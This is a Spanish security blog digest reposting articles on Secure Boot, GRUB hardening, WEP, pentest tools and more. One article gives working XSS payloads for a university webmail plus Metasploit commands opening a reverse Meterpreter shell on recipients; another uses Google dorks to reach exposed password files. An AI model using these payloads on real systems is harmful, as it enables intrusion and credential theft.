"Jabalí a lo Flu" Secure Boot Windows 8

Esta semana en Flu Project nos quedamos con el artículo de Secure Boot: Windows 8

El ansiado sucesor de Windows 7, Windows 8, acaba de ser oficialmente lanzado al mercado. A nivel de características generales, presenta una nueva interfaz gráfica (GUI) denominada Metro, integración con servicios de Microsoft, entre otras mejoras. Sin embargo, también presenta varias novedades con respecto a la seguridad de la información. Una de estas, y quizás la más controversial, es Secure Boot. Antes de explicar en qué consiste este cambio, es importante aclarar algunos conceptos. En la actualidad, la mayoría de las PC implementan un firmware denominado BIOS (Basic Input/Output). Este software, es el encargado de gestionar elementos vitales para que la computadora pueda encenderse (inicia piezas de hardware como CPU, discos duros, memoria RAM, tarjetas de videos, periféricos como teclado y mouse, entre otros). Una vez que dicho proceso culmina de forma exitosa, el BIOS llama al boot loader, componente esencial para inicializar el sistema operativo.

Aunque el BIOS es una tecnología antigua que ha sido actualizada en varias oportunidades para mejorar la compatibilidad con nuevas generaciones de computadoras, su diseño posee ciertas limitaciones que afectan la seguridad como por ejemplo, que un código malicioso modifique el boot loader sin mayores dificultades. Por otro lado, Intel desarrolló UEFI (Unified Extensible Firmware Interface). Actualmente, UEFI es mantenido por un consorcio de empresas entre las que destacan Intel, Dell, Apple, HP, entre otras. A partir de Windows 8, Microsoft cambió su postura con respecto a la seguridad exigiéndoles a los fabricantes, que adopten esta tecnología en detrimento del veterano BIOS. Para fomentar este cambio, Microsoft exige a aquellas computadoras que vengas instaladas con Windows 8 de 64 bit, que implementen UEFI en caso que deseen pasar la prueba de compatibilidad y puedan ser vendidas con el logo de Windows 8. También, aquellos fabricantes que no se adhieran a este requerimiento, no recibirán beneficios de marketing ni tampoco podrán adquirir licencias por volumen.

A continuación se muestran dos esquemas que explican el funcionamiento actual de inicio a través del BIOS en comparación con Secure Boot:

Como puede observarse, cualquier malware bootkit puede modificar el boot loader y el sistema operativo se iniciaría sin advertirle nada al usuario. Esta situación cambió con el nuevo modelo de inicio que implementó Microsoft:

Este requerimiento de implementar UEFI se justifica en el sentido que Secure Boot depende de esta tecnología para poder ser implementado. Secure Boot impide que la computadora inicie el sistema operativo si el boot loader no posee un certificado digital válido producto de la modificación arbitraria de un código malicioso. De este modo, cualquier malware tipo bootkit como el que se describe en nuestra publicación Bootkit Olmasco: ¿una evolución de TDL4?, no podrá funcionar de forma efectiva. Asimismo, este tipo de códigos maliciosos poseen la particularidad de iniciarse en una etapa muy temprana de la carga de Windows, por lo tanto, la amenaza obtiene el control completo del sistema pudiendo interferir en el funcionamiento de soluciones antivirus, en el proceso de remoción del malware, entre otras acciones complejas. Como Secure Boot requiere que el boot loader esté firmado correctamente, se dificulta que un bootkit funcione adecuadamente. En complemento con Secure Boot, Microsoft también implementó otra característica que permite mejorar la protección del sistema operativo ante una infección de un bootkit. Se trata de Early Launch Anti Malware (ELAM), tecnología que permite cargar programas que no sean de Microsoft como soluciones de seguridad mientras se inicia Windows 8. Esto es importante porque permite que un software como ESET Smart Security, se cargue en una etapa temprana y se facilite la detección de códigos maliciosos complejos como rootkit y bootkit.
Con respecto a la seguridad de la información resulta positivo ambos cambios que Microsoft adoptó, sin embargo, Secure Boot no está exento de controversias y críticas. Sus detractores aducen que no podrán instalar otros sistemas operativos como Linux por no poseer el certificado digital correspondiente, no obstante, para la tranquilidad de estos usuarios, empresas como Canonical (Ubuntu) y Red Hat, implementaron métodos para soportar esta tecnología. Asimismo, parte de las exigencias de Microsoft respecto a Secure Boot y los fabricantes es que estos permitan desactivar en UEFI dicha opción

Fuente: Autor: André Goujon. Especialista de Awareness & Research

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Los peligros de un XSS

Esta semana en Flu Project nos ha gustado mucho el artículo Los Peligros de un XSS, escrito por aetsu al que también podéis leer en La leyenda de Tux.

Los peligros de un XSS Un Ejemplo Universitario.

Hay muchas ocasiones en las que por el bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en la cuenta de que estas pueden acabar siendo un peligro para ellos.

Ha sido cuando leyendo este genial post de @Kodeinfect llamado Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una “curiosidad” que encontré recientemente en el correo interno de la universidad, el cual permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.

Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizarataques mediante XSS, siendo la víctima el receptor del correo electrónico.

Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una “mala persona” o alguien aburrido:

El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un “alert” por comodidad:

Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:

<script language=”javascript” type=”text/javascript”>
alert(document.cookie);
</script>

Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por un fallo del servidor, pero con la peculiaridad que esta está en un servidor bajo nuestro control, para ello basta un pequeño fragmento de codigo incrustado en el mensaje:

<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>

Por último es posible hacer algo mucho mas peligroso como lanzar exploits en la máquina del inocente receptor, para ello Metasploit como en otras ocasiones será un gran aliado.
Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:

use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp

A continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:

set SRVPORT 80
set LHOST  192.168.1.40

Y por último lanzarlo:

exploit

Una vez este listo Metasploit el contenido del correo es el siguiente:

<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>

donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.

 

 

ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:

 

 

La situación en la que el receptor abre el correo y es ejecutado de forma transparente en su navegador un código javascript es muy peligroso, mas que nada si el receptor no tiene conocimientos informáticos o si este es un profesor y lo que el robo de sus datos implicaría. Además el hecho de poder añadir al cuerpo del mensaje cualquier texto permite realizar ataques de ingeniería social muy peligrosos, ya que el receptor seguramente no prestará atención al código javascript embebido puesto que este no se le mostrará.Como aclaración respecto al contenido del post, informaré sobre esta “vulnerabilidad” cuando el post sea publicado, aunque no la considero así, ya que si el editor de mensajes aporta la la opción de añadir fragmentos de html/javascript, considero esto más como una funcionalidad extra que puede usarse “mal” que como una vulnerabilidad propiamente dicha. En fin, nos leemos en breve

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" TorSocks anonimiza tus acciones

Hoy queremos recomendar Flu Project:TorSocks anonimiza tus acciones, escrito por uno de los profesionales del panorama de seguridad que mas admiramos, Marc Rivero López por aka @Seifreed.

Además de saber un montón de muchos temas de informática, uno de los motivos por los que me gustan los post de Marc es que es capaz de explicar algo que técnicamente no es fácil y después de leer su artículo parece mucho más sencillo. Así que sin más os dejo con este fantástico post …

TorSocks anonimiza tus acciones

Para ciertas acciones, privacidad, anonimato es decir, ocultación en si mismo es necesario el uso de tecnologías como tor. Esta tecnología permite poder ocultar el origen(entre otras cosas) de la conexiones. Ya he hablado de tor aquí, así que no me pararé ha explicar de que va.

En el artículo de hoy se trata sobre tor socks. Este software que interactúa con TOR te permite desde tu propia terminal el poder lanzar comandos que pasen por TOR antes de llegar a su destino.

Si quisiéramos lanzar este wget a través de TOR sólo hemos de usar usewithtor de esta manera ya podremos lanzarlo a través de TOR. Creo que no hace falta decir que hace falta que tengamos TOR arrancado para usarlo.

Ya tenemos el comando wget a través de TOR.

Próximamente, le daremos mas uso 

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Proteger el GRUB II

La semana pasada la recomendación era aprender a Proteger el GRUB con Flu Project, así que esta semana te animo a que sigas con la continuación del anterior artículo en Proteger el GRUB II.

No podemos esta semana dejar de recomendaros otro post de la increíble serie:

Herramientas Forenses para ser un buen CSI XII: Windows Registry Recover

Aprovechamos para felicitar a Pablo González por su nuevo libro: Metasploit para Pentesters (ya hablaremos del tema de "mis dedicatorias", ja,ja,ja) del que ya tenemos una copia en nuestro poder y tiene "muy buena pinta".

Especialmente recomiendo que compres un ejemplar y desde aquí ya os adelanto que vamos a hacer algo muy especial con el feedback de este libro.

Ahora si!, os dejo con este sensacional artículo de Pablo en Flu Project sobre cómo podemos proteger el GRUB, Parte II.....

Proteger el GRUB II

La semana anterior hablamos de como proteger el GRUB en su versión 1. Se utilizaba una contraseña maestra para bloquear la ejecución de las entradas, o al menos una contraseña por línea. GRUB 2 es realmente mucho más flexible, ya que incorpora la posibilidad de utilizar dos roles de usuarios y con distintas características.

Roles

Se dispone de dos tipos de roles, uno es el rol de superusuario y otro el de usuario normal. Se puede definir un solo superusuario el cual dispondrá de permisos para acceder tanto a la edición de la línea del GRUB como a los sistemas operativos que se encuentran disponibles en el equipo. Para definir los usuarios debemos ir al fichero /etc/grub.d/40_custom, y como se puede visualizar en la siguiente imagen declarar los usuarios.

Para entender bien como se declaran los usuarios debemos entender lo siguiente:

• Para declarar el superusuario se especifica el nombre con la orden set superusers=”nombre_usuario”. Para asignarle una contraseña se debe utilizar la directiva password o password_pbkdf2 si se utilizará un hash que evite la lectura en plano de la contraseña. Después de indicar la directiva se debe indicar a que usuario se asigna y por último la contraseña.
• Los usuarios normales, que pueden ser más de uno, se especifican directamente con la contraseña. Se puede utilizar la directiva password o password_pbkdf2, dependiendo de si va en plano o con hash.

Para crear un hash pbkdf2 se utiliza la herramienta grub-mkpasswd-pbkfd2, como se puede visualizar en la siguiente imagen.

De esta manera, definiendo el superusuario tenemos protegida la edición de la línea de comandos del GRUB, por lo que no podrán levantar una shell de root a través de la línea de comandos del GRUB. Ahora vamos a ver como proteger el arranque de los sistemas operativos. Podemos especificar que usuarios pueden arrancar un sistema operativo en concreto, para ello debemos entender que existen unos archivos para cada tipo de sistema operativo. Nos puede interesar proteger Linux y Windows, pero no la aplicación de test de memoria RAM. El sistema operativo Linux y su entrada se configura en el fichero 10_Linux que se encuentra en la ruta /etc/grub.d. Mientras que Windows se prepara en el fichero 30_os-prober. Para protegerlos hay que editar el fichero y buscar la palabra “menuentry”, como se puede visualizar en la siguiente imagen.

Como podéis ver no es difícil proteger el GRUB en sus distintas versiones. Es más flexible y potente el GRUB en su nueva versión, la gestión de usuarios le permite al administrador ofrecer una jerarquía de seguridad realmente interesante.

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Proteger el GRUB

Una de las mejores formas de mantener seguro nuestro equipo es protegiendo el Sistema Operativo, un S.O bien configurado y el conocimiento en profundidad de sus componentes es una de las mejores bazas de seguridad. En Flu Project Pablo escribía un articulo muy interesante: Proteger el GRUB, que mejor forma de fortificar el sistema que blindando el arranque….

¿Qué es GRUB? 

Para quienes no lo sepan, el GRUB es un gestor de arranque múltiple desarrollado por GNU. Este gestor de arranque permite disponer de uno o varios sistemas operativos y arrancarlos de manera sencilla. Se utiliza principalmente en sistemas operativos GNU/Linux, aunque existen sistemas operativos como Solaris que lo utilizan desde la versión 10 del sistema operativo.

En artículos como el de “sethc para GNU/Linux” en el que se puede aprender como levantar una sesión de root en una shell de linux si tenemos acceso físico al equipo, se deja en claro lo importante que es proteger el gestor de arranque. En la versión 1 de GRUB, existe un solo modo de protección y es colocar una contraseña universal tanto para el arranque de los sistemas operativos como para la edición del propio GRUB. Hay que recordar que el GRUB permite editar la línea o las líneas de arranque de sus entradas.

¿Cómo se hace esto?

Generalmente, cuando arranca el GRUB y muestra el menú se puede editar las líneas que se ejecutar, es decir colocar el GRUB en modo edición, normalmente mediante el uso de la letra ‘e’ o ‘a’. Aquí está el problema, cualquiera con acceso al equipo puede modificar las líneas de ejecución y arrancar una shell con privilegios de root.

La solución que proponemos es proteger mediante contraseña la ejecución de las entradas del GRUB, por lo que si pueden editar las líneas no podrán ejecutarlas por lo que no valdrá para mucho.

Configurando contraseña en el GRUB

El GRUB en su primera versión se aloja en la ruta /boot/grub. El fichero grub.conf aloja la configuración de las entradas, y es aquí donde se podrá alojar una contraseña. La contraseña, lógicamente, no se debe alojar en texto plano, por lo que habrá que utilizar alguna aplicación que nos genere un hash adecuado. Para ello lanzamos la aplicación grub en una shell, éste abre una nueva línea de comandos reducidos para el uso y edición del GRUB. Tener en cuenta que hay que ejecutarlo como root (o usuario con privilegio, por ejemplo sudoer).

Para generar el hash ejecutaremos el comando md5crypt. La aplicación nos pedirá un password, y hay que tener cuidado ya que solo lo pedirá una vez. Tras generar el hash, deberemos copiarlo para después colocarlo donde se debe.

Ahora nos toca editar el fichero /boot/grub/grub.conf para colocar el hash en las entradas que queramos proteger. De este modo, aunque editen las líneas en el GRUB, se pedirá una clave para proteger este arranque físico.

Enlace al Artículo completo en Flu Project........

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Samurai Web Testing Framework

Esta semana en Flu Project nos hablaron de una distribución muy interesante, Samurai Web Testing Framework, otra imprescindible en auditoría de seguridad con una estética increíble y orientada especialmente a la Auditoría Web....

Buenas a todos, hoy me gustaría hablaros de una distribución de Linux que puede seros de gran utilidad en los test de penetración a aplicativos web. Se trata de Samurai Web Testing Framework. Ésta distribución de Linux basada en Ubuntu se centra en los test de intrusión, a diferencia de otras como Backtrack que son más genéricas

Como podéis ver en la captura anterior, Samurai contiene un listado bastante importante de herramientas libres destinadas a los penetration test hacia aplicaciones web.

Entre las herramientas mas destacadas que incluye se encuentran numerosas aplicaciones clásicas como Zenmap, la versión con interface gráfica de Nmap para el Fingerprint en busca de puertos abiertos y Sistemas Operativos, Maltego y Fierce domain Scanner, W3af, Paros, Nikto, WebScarab, Wapiti etc. Muchas de las cuales ya hemos analizado desde Flu Project.

Un aspecto que me pareció muy interesante es la inclusión de una wiki de serie para poder ir almacenando la información que se vaya obteniendo durante la auditoría.

Si aún no la habéis probado, la podéis descargar desde aquí.

Saludos!

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Publicado Flunym0us 2.0

Esta semana se publicaba en Flu Project la actualización de Flunym0us una de las herramientas desarrolladas por el equipo de Flu Project, así que además de invitaros a leer el artículo que describe las nuevas mejoras espero que todos la probéis…

Buenas a todos, tras la vuelta de vacaciones hemos vuelto con ganas de desarrollar como veis, y tras la publicación de nuestra nueva tool, Flu Blocker, llega la hora de publicar una nueva versión de nuestro escáner de vulnerabilidades para WordPress y Moodle, Flunym0us.

En esta nueva versión de Flunym0us se nos ha unido en el desarrollo Chema García, aprovechamos para agradecerle todo el curre que se ha pegado con nosotros tanto en la etapa de desarrollo, como en la fase de depuración, ¡un abrazo Chema!

A continuación os enumeramos las nuevas funcionalidades de Flunym0us 2.0:

• Fingerprint de versión de WordPress: Extrae de los archivos “Readme.html” la versión actual instalada de WordPress.
• Descubrimiento de vulnerabilidades por Path Disclosure en WordPress que dejan expuesta la ruta de instalación.
• Descubrimiento de versión de plugins instalados en WordPress
• Aviso de versiones obsoletas de instalaciones de WordPress
• Aviso de versiones obsoletas de instalaciones de plugins en WordPress
• Descubrimiento de usuarios registrados
• Aumento en la velocidad de análisis gracias al procesamiento en paralelo con múltiples procesos parametrizables
• Ocultación de User-Agent por uno aleatorio a través de un diccionario incluido de User-Agents reales
• Ocultación de Referer

Esperamos que esta herramienta os haga un poco más sencillas vuestras labores de auditoría.

Cómo habitualmente podéis descargar gratuitamente su código (Python) desde el siguiente enlace:

http://code.google.com/p/flunym0us/downloads/list

Para su funcionamiento solo es necesario un intérprete Python, por lo que podréis utilizarla tanto en Windows, Linux y Mac.

Os dejamos con una captura de pantalla:

 

¡Disfrutarla!

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Localizando Contraseñas con Google Hacking y el verbo intitle

En Flu Project nos lo están poniendo muy difícil últimamente porque en teoría hoy deberíamos hablar de uno de sus posts publicados esta semana cuando en realidad recomendaríamos al menos tres:

La serie Herramientas forenses para ser un buen CSI. Esta semana el capitulo IX: Analizando volcados de RAM con Helix y Volatility es una guía de referencia para aprender Informática forense recomiendo que sigáis esta serie con mucha atención.

Marc Rivero López vuelve a sorprendernos mostrándonos las “entrañas del malware” en Infección de malware por correo electrónico por la entrega de un paquete y es increíble todo lo que sabe este profesional y lo sencillo que parece cuando nos lo explica, muchas gracias por todos tus aportes Marc.

Pero esta semana me tengo que quedar con el post de FranciscoJavier Santiago Vázquez publicado con el titulo de Localizando contraseñas con Google Hacking y el verbointitle

Hola a todos!

Como ya os comente en anteriores artículos.Vamos a seguir publicando artículos del maravilloso mundo del Google Hacking y el Footprinting.

Como ya expliqué en el anterior artículo a título de recordatorio el Footprinting consiste en la búsqueda de información, que puede ser pública, es decir, dicha información el administrador del servidor la publicó a propósito o por el contrario fue expuesta por error o desconocimiento. Con lo cual al ser información publica no es delito.

¿Que información podemos obtener?

Podemos obtener de todo, desde usuarios y contraseñas del cpanel, mail, bases de datos, archivos, directorios ocultos, etc.

Vamos con un verbo de los muchos que existen, en concreto vamos con el verbo intitle, en español “en el título”.

Abrimos el navegador y tecleamos lo siguiente:

Con esto le decimos a Google que nos liste todas las páginas que contengan en el titulo passwd, con lo cual nos lista las páginas con directorios abiertos, con título passwd.

Podemos apreciar que Google nos ha dado muchos, vamos con uno al azar.

 

Ahí vemos como nos lista los directorios el servidor, por cierto, es un Apache, con sistema operativo Ubuntu.

 

Abracadabra abrimos la carpeta census y vemos carpetas con posibles nombres de usuarios.

Efectivamente estaba en lo cierto nombres de usuarios del sistema.

Volvemos a la carpeta anterior /passwd para entrar en la carpeta passwords.

¡Pero que ven mis ojos! otro ficherito, este con las contraseñas del sistema y encima las password por defecto de la historia.Seguiremos con  más artículos de Footprinting y mas Google Hacking próximamente.

No seáis malos

No te pierdas el artículo en....Flu a lo Jabalí!!

"Jabalí a lo Flu" Protocolo WEP: Funcionamiento

Esta semana me quedo con el artículo de Pablo González sobre WEP y es que este tipo de explicaciones es fundamental para entender las como proteger o atacar un protocolo, y cuando lees un post de estas características siempre descubres algo nuevo.

En este artículo se tratará uno de los protocolos más castigados por la historia, el protocolo de sistemas Wireless WEP. WEP significa Wired Equivalent Privacy, y es un protocolo que no ofrece ningún tipo de seguridad en una red inalámbrica. Realmente, decir que no ofrece ninguna seguridad es algo irreal, ofrece seguridad, pero lo que ofrece es obsoleto y se conocen diversas maneras de descifrar el contenido de las tramas que van cifradas con WEP.

Últimamente me ha tocado pasar horas con WEP y WPA, y terminar de entender su funcionamiento a un nivel más o menos bajo. En este caso, toca destripar a WEP, sus conceptos y su funcionamiento. Entender como funcionan realmente los protocolos es una de las cosas que más interesante me resulta, quién sabe quizá en un futuro toque escribir de ello de manera más formal… Bien, ¿Preparados? Comenzamos…

Hay que diferenciar entre la autenticación, confidencialidad e integridad. El protocolo WEP no ofrece una gran capa de seguridad en ninguna de estas 3 fases. En primer lugar veremos la autenticación, en la cual se distinguen dos métodos:

• Open System
• Shared Key

Open System deja autenticarse a todos los clientes en el punto de acceso, mientras que el método de autenticación Shared Key requiere que el cliente envíe un mensaje solicitando conexión, el punto de acceso contesta con un desafío, el cual debe ser cifrado por el cliente y reenvíado al punto de acceso, si éste puede descifrarlo la autenticación es válida.

La fase de confidencialidad dispone de los siguientes elementos:

• RC4. Es el algoritmo utilizado para generar el keystream, el cual se define más adelante.
• IV. Vector de inicialización, son la parte dinámica de los keystream. Cada trama lleva un IV distinto, siempre que se pueda, ya que son generados aleatoriamente. Cuidado, el IV va en la parte NO cifrada de la trama WEP.
• RC4 es simétrico, con la misma clave que se cifra se puede descifrar.
• La creación del keystream dispone de 2 fases: KSA y PRGA

 

En la imagen se puede visualizar el proceso que se lleva a cabo para formar la trama WEP que se enviará, ya sea del AP al cliente o del cliente al AP. pero comencemos por partes, La shared key es estática, es la típica clave que configura el dueño de la red en el punto de acceso, o en casa en los router WiFi, la típica de 5 caracteres o 10 hexadecimales, o la de 13 caracteres o 26 hexadecimales… Los IV, como se ha dicho anteriormente, van cambiando aleatoriamente en cada trama enviada. La concatenación del IV y la clave estática es pasada al algoritmo RC4 como entrada, la salida de este algoritmo produce el KEYSTREAM. 

Este KEYSTREAM es realmente el que generará el cifrado mediante la operación lógica XOR. El resultado de la operación lógica XOR entre el KEYSTREAM y el texto plano da como resultado la parte cifrada de la trama WEP. Hay que hacer un inciso, ya que la integridad se calcula sobre el texto plano, mediante el ICV como se puede visualizar en la imagen.

La operación XOR es una operación cuya inversa genera el resultado inicial, ¿Cómo? explicamos a continuación, pero antes recordemos su tabla de verdad:

Solo cuando las 2 entradas son iguales, el resultado es 0, si no el resultado de la operación es 1. Por lo que se puede entender que A XOR B XOR B = A, ¿Qué se quiere decir con esto? Bien, cuando el cliente genera la parte cifrada de la trama se utiliza un KEYSTREAM XOR texto, obteniendo un CIFRADO.

Cuando el AP reciba esa trama si le aplica el mismo KEYSTREAM XOR CIFRADO obtendrá el texto, en otras palabras texto XOR KEYSTREAM XOR KEYSTREAM = texto.

 

El Keystream se crea mediante el algoritmo RC4, el cual recibe como entrada un seed o semilla, que es el IV, y la clave estática. En la siguiente imagen se puede visualizar como queda formado la trama WEP.

¿Qué problemas tiene WEP?

Por el uso de la clave estática se puede realizar ataques de observación y gracias a la estadística conseguir sacar el patrón de la clave, y de este modo conseguir la clave estática.

El IV se envía siempre en claro, por lo que son captados por cualquiera, además de los 24 bits de los que están compuestos que es un valor demasiado corto. Recolectando un número alto de IVs se puede, mediante ataque estadístico descifrar la clave. La autenticación se realiza del AP al cliente, pero no del cliente al AP, por lo que el cliente no sabe realmente si se conecta al AP que dice ser. Por esta razón existen los Rogue AP, o MITM a través de un AP.

 

No te pierdas el artículo en....Flu a lo Jabalí!!